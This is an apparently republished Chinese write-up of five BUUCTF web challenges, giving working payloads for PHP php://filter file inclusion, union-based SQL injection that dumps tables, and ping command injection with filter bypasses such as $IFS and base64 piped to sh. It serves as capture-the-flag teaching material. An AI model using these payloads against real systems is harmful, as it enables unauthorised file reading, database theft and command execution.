众生度尽,方证菩提
[ACTF2020 新生赛]Include
访问url
http://42675000-beb8-4770-9107-0954c486629c.node3.buuoj.cn/
首页如下:
点击tips,跳转到url:
http://42675000-beb8-4770-9107-0954c486629c.node3.buuoj.cn/?file=flag.php
页面如下:
根据?file=flag.php 猜测是文件包含漏洞
php://filter与包含函数结合时,php://filter流会被当作php文件执行。所以我们一般对其进行编码,阻止其不执行。从而导致任意文件读取。
php://filter 伪协议文件包含读取源代码,加上read=convert.base64-encode,用base64编码输出,不然会直接当做php代码执行,看不到源代码内容。
php://input 伪协议 + POST发送PHP代码 (不行)
构造payload进行访问:
?file=php://filter/read=convert.base64-encode/resource=flag.php
页面回显如下:
对回显的数据进行base64解码:
PD9waHAKZWNobyAiQ2FuIHlvdSBmaW5kIG91dCB0aGUgZmxhZz8iOwovL2ZsYWd7YmRkZmZlYTMtNTVlYS00OTJjLTg4NWYtMWZlY2Y2ODRkZTIyfQo=
结果如下:
<?php
echo "Can you find out the flag?";
//flag{bddffea3-55ea-492c-885f-1fecf684de22}
[极客大挑战 2019]Secret File
访问url:
http://008d0aab-224a-4ab8-b711-57782be3f259.node3.buuoj.cn/
首页如下:
前端中背景可以覆盖内容,页面源代码可以查看完整的html
在php文件中可以写入html代码,html可在前端展示出来,php代码主要是处理数据,通常不会展示。
文件包含漏洞,PHP伪协议获取文件
php://filter 是一种元封装器, 设计用于数据流打开时的筛选过滤应用。 这对于一体式(all-in-one)的文件函数非常有用,类似 readfile()、 file() 和 file_get_contents(), 在数据流内容读取之前没有机会应用其他过滤器。
环境概要:
PHP.ini:
allow_url_fopen :on 默认开启 该选项为on便是激活了 URL 形式的 fopen 封装协议使得可以访问 URL 对象文件等。
allow_url_include:off 默认关闭,该选项为on便是允许 包含URL 对象文件等。
我们可以看到一页背景为黑色,字体为红色的页面,这里已经给出了一个提示:想要的话可以给你,去找吧!把一切都放在那里了!我们可以猜测这个页面是隐藏了一些信息的。
通过查看页面源代码,我们可以发现隐藏的./Archive_room.php
访问Archive_room.php,发现又给出了提示:我把他们都放在这里了,去看看吧。还有一个类似button一样的东西,查看审查元素可知是action.php
我们点进去,访问action.php立即跳转到了end.php,并且页面显示的是:查阅结束 没看清么?回去再仔细看看吧。
可以猜测action.php访问时间很短,时间一到立即跳转到end.php。为了拦截action.php,我们可以使用BrupSuite来抓包。
请求包如下:
GET /action.php HTTP/1.1
Host: 008d0aab-224a-4ab8-b711-57782be3f259.node3.buuoj.cn
Upgrade-Insecure-Requests: 1
DNT: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://008d0aab-224a-4ab8-b711-57782be3f259.node3.buuoj.cn/Archive_room.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: session=37b794a6-22e3-4bc9-882a-7c4e8fce86a2.ZP-4gQWh8p_KrNccRxl0BEY0YgY
Connection: close
响应包如下:
访问secr3t.php,页面显示了php代码:
<html>
<title>secret</title>
<metacharset="UTF-8">
<?php
highlight_file(__FILE__);
error_reporting(0);
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo"Oh no!";
exit();
}
include($file);
//flag放在了flag.php里
?>
</html>
发现这里有一个文件包含漏洞,但是在这里好像没什么用,因为我们还不确定存在flag的文件。根据代码的注释内容,访问flag.php。又出现提示:啊哈!你找到我了!可是你看不到我QAQ~~~ 我就在这里。
刚开始我们以为还是像之前一样用背景把flag给覆盖掉了,但是通过查看页面源代码发现并没有将flag写出来。根据提示我们可以肯定flag确实是在这里,但是前端却看不到,我们猜测flag是写在了php代码里面。那么怎样来获取完整的flag.php文件呢?我们立马想到了secr3t.php的文件包含漏洞
传入的file经过了一些过滤,但是没有过滤filter,我们可以用php://fileter来获取文件。构造url:
/secr3t.php?file=php://filter/convert.base64-encode/resource=flag.php
获取到了flag.php的base64加密,复制加密内容到解密网站去即可得到flag
对回显的数据进行base64解码:
PCFET0NUWVBFIGh0bWw+Cgo8aHRtbD4KCiAgICA8aGVhZD4KICAgICAgICA8bWV0YSBjaGFyc2V0PSJ1dGYtOCI+CiAgICAgICAgPHRpdGxlPkZMQUc8L3RpdGxlPgogICAgPC9oZWFkPgoKICAgIDxib2R5IHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOmJsYWNrOyI+PGJyPjxicj48YnI+PGJyPjxicj48YnI+CiAgICAgICAgCiAgICAgICAgPGgxIHN0eWxlPSJmb250LWZhbWlseTp2ZXJkYW5hO2NvbG9yOnJlZDt0ZXh0LWFsaWduOmNlbnRlcjsiPuWViuWTiO+8geS9oOaJvuWIsOaIkeS6hu+8geWPr+aYr+S9oOeci+S4jeWIsOaIkVFBUX5+fjwvaDE+PGJyPjxicj48YnI+CiAgICAgICAgCiAgICAgICAgPHAgc3R5bGU9ImZvbnQtZmFtaWx5OmFyaWFsO2NvbG9yOnJlZDtmb250LXNpemU6MjBweDt0ZXh0LWFsaWduOmNlbnRlcjsiPgogICAgICAgICAgICA8P3BocAogICAgICAgICAgICAgICAgZWNobyAi5oiR5bCx5Zyo6L+Z6YeMIjsKICAgICAgICAgICAgICAgICRmbGFnID0gJ2ZsYWd7ZTc4MjM3YWUtMGNiYS00NTlkLTg3N2QtNjBmYmQ4NzNkNWEwfSc7CiAgICAgICAgICAgICAgICAkc2VjcmV0ID0gJ2ppQW5nX0x1eXVhbl93NG50c19hX2cxcklmcmkzbmQnCiAgICAgICAgICAgID8+CiAgICAgICAgPC9wPgogICAgPC9ib2R5PgoKPC9odG1sPgo=
结果如下:
<!DOCTYPE html>
<html>
<head>
<metacharset="utf-8">
<title>FLAG</title>
</head>
<bodystyle="background-color:black;"><br><br><br><br><br><br>
<h1style="font-family:verdana;color:red;text-align:center;">啊哈!你找到我了!可是你看不到我QAQ~~~</h1><br><br><br>
<pstyle="font-family:arial;color:red;font-size:20px;text-align:center;">
<?php
echo "我就在这里";
$flag = 'flag{e78237ae-0cba-459d-877d-60fbd873d5a0}';
$secret = 'jiAng_Luyuan_w4nts_a_g1rIfri3nd'
?>
</p>
</body>
</html>
[极客大挑战 2019]LoveSQL
访问url:
http://e46c62ea-857f-4497-8656-5dd8bc8fa62a.node3.buuoj.cn/
首页如下:
发现登录框,可能是万能密码登录,我们试一下:
在登录框中输入:
用户名:1' or 1=1#
密码:123(随便输)
点击登录:
跳转到了check.php页面。并得到了用户名和密码:
尝试密码md5解密失败,还是回到注入的思路上,查询字段数:
在url中输入:
/check.php?username=admin' order by 3%23&password=1 存在
/check.php?username=admin' order by 4%23&password=1 报错
注意:此时是在url中输入的,所以不能用#,而用其url编码%23。
可知共3个字段。用union查询测试注入点(回显点位):
/check.php?username=1' union select 1,2,3%23&password=1
得到回显点位为2和3
查询当前数据库名及版本:
/check.php?username=1' union select 1,database(),version()%23&password=1
可知当前数据库为geek
接下来爆表:
/check.php?username=1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%23&password=1
得到表名为geekuser,l0ve1ysq1
试一下l0ve1ysq1这个表,爆字段:
/check.php?username=1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='l0ve1ysq1'%23&password=1
得到字段名为id,username,password
爆数据:
/check.php?username=1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1%23&password=1
得到flag{0496f85f-c789-491f-93b8-7c76bdbe8a4a}
[ACTF2020 新生赛]Exec
访问url:
http://cc3c6c27-e2df-4665-baba-1d9a32dc963e.node3.buuoj.cn/
首页如下:
直接ping ip可以得到结果
常见管道符
1、|(就是按位或),直接执行|后面的语句
127.0.0.1 | cat /flag
得到flag{546c33d7-aa0d-4a05-90b6-33adbd281b2b}
2、||(就是逻辑或),如果前面命令是错的那么就执行后面的语句,否则只执行前面的语句
abc || cat /flag
结果如下:
3、&(就是按位与),&前面和后面命令都要执行,无论前面真假
127.0.0.1 & cat /flag
结果如下:
4、&&(就是逻辑与),如果前面为假,后面的命令也不执行,如果前面为真则执行两条命令
ping 127.0.0.1 && whoami
这里没试出来flag,用cmd试一下:
5、;(linux下有的,和&一样的作用)
127.0.0.1 ; cat /flag
结果如下:
[GXYCTF2019]Ping Ping Ping
访问url:
http://a98acfbb-1ead-49d9-92cf-1ee91c136948.node3.buuoj.cn/
首页如下:
打开链接,页面提示/?ip=
猜测本题的意思是让我们把这个当做变量上传参数。
先输入127.0.0.1
看来把我们上传的东西当做ip来执行ping操作。
构造payload:?ip=127.0.0.1;ls
出现了flag.php,那么简单的?
cat flag.php走起
?ip=127.0.0.1;cat flag.php
可以看到有过滤空格
过滤空格的解决办法如下
$IFS
${IFS}
$IFS$1 //$1改成$加其他数字貌似都行
<
<>
{cat,flag.php} //用逗号实现了空格功能
%20
%09
试试:?ip=127.0.0.1|cat$IFS$1flag.php
有过滤flag字样的,那先看看index.php,看看过滤规则。
?ip=127.0.0.1;cat$IFS$1index.php
/?ip=
PING 127.0.0.1 (127.0.0.1): 56 data bytes
/?ip=
|'|"|\|(|)|[|]|{|}/", $ip, $match)){
echo preg_match("/&|/|?|*|<|[x{00}-x{20}]|>|'|"|\|(|)|[|]|{|}/", $ip, $match);
die("fxck your symbol!");
} else if(preg_match("/ /", $ip)){
die("fxck your space!");
} else if(preg_match("/bash/", $ip)){
die("fxck your bash!");
} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("fxck your flag!");
}
$a = shell_exec("ping -c 4 ".$ip);
echo "
";
print_r($a);
}
?>
解决办法
1)$a变量可以覆盖
构造?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php
查看一下源码,看到flag{9c0ba8cc-cc60-43d2-8b87-e964e62fb538}
2)利用
?ip=127.0.0.1;cat$IFS$9`ls`
将ls的结果当成cat的参数,那样就不用出现flag这个参数了。
结果也是在源码中。
3)利用sh,bash下编码
?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
4)利用内联执行:
?ip=1;a=f;d=ag;c=l;cat$IFS$a$c$d.php
攻防交流群
声明
免责声明:该文章内容仅用于学习交流自查使用,请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息、技术或者工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,所产生的一切不良后果与文章作者无关,公众号儒道易行及作者不为此承担任何责任。
转载声明:儒道易行 拥有对此文章的修改和解释权,如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经作者允许,不得任意修改或者增减此文章的内容,不得以任何方式将其用于商业目的。
原文始发于微信公众号(儒道易行):【buuctf】Web攻防(二)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论